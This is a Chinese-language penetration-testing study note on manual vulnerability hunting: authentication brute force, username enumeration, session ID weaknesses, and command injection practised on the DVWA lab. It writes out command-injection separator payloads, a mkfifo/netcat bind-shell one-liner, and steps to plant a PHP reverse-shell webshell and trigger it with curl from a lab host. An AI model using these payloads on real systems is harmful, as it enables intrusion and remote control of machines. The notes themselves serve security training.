【渗透测试笔记】之【手动漏洞挖掘二】

身份认证

• 常用弱口令/基于字典的密码爆破
  一个好的Web，当离错误密码错误过多后会锁定账号。
• 信息收集
  手机号、密码错误提示信息
  做得好的它会显示用户名或密码错误
  做得不好的它会提示用户不存在
  （另外还有在返回代码中的提示，如errorcode，不会在页面提示）
  此时就可以根据收集的信息进行暴力破解
• 密码嗅探（同一网段，流量抓包）

会话sessionID

• Xss/cookie import
• SessionID in URL
  一些不好的Web会将SessionID写入URL里
• 嗅探
  同网段流量抓包
• SessionID 长期不变/永久不变
• SessionID 生成算法
  Sequencer（判断SessionID安全性）
  私有算法（自己发明的的Session生成算法可能会不安全）
  预判下一次登录时生成的SessionID
  注销后返回测试（即测试注销后SessionID还是否有效）
• 密码找回
  有些密码找回发送给你邮箱的找回密码连接后面的密文有规律。
  128 MD5
  160 SHA1
  256 SHA256

漏洞挖掘（拥有登录权限后）

• 手动爬网自动爬网
• 漏洞挖掘原则
  所有变量
  所有头：Cookie中的变量等
  逐个变量删除
• 系统命令执行漏洞
  DVWA Command Execution

;ls
&ls  # 同时执行
127.0.0.1&&ls  # 前面执行成功执行后面
| ls  # 先执行前再执行后
|| ls  # 前面失败执行后面

利用命令打开端口

;mkfifo /tmp/pipe;sh /tmp/pip/pipe | nc -nlp 4444 > /tmp/pipe

kali连接端口

nc 192.168.2.101 4444

• 错误的反弹shell示范（自己弹自己的shell）
  原理在于反弹shell在哪台主机，就会反弹谁的shell
  错误示范：

启动Apache服务

service apache2 start

将反弹shell移动到目录下命名为1.php

cp /usr/share/webshells/php/php-reverse-shell.php /var/www/html/1.php

编辑反弹Shell IP及端口

本机开始侦听1234端口

nc -nvvlp 1234

目标触发反弹Shell

;curl http://192.168.2.106/1.php

本机捕获Shell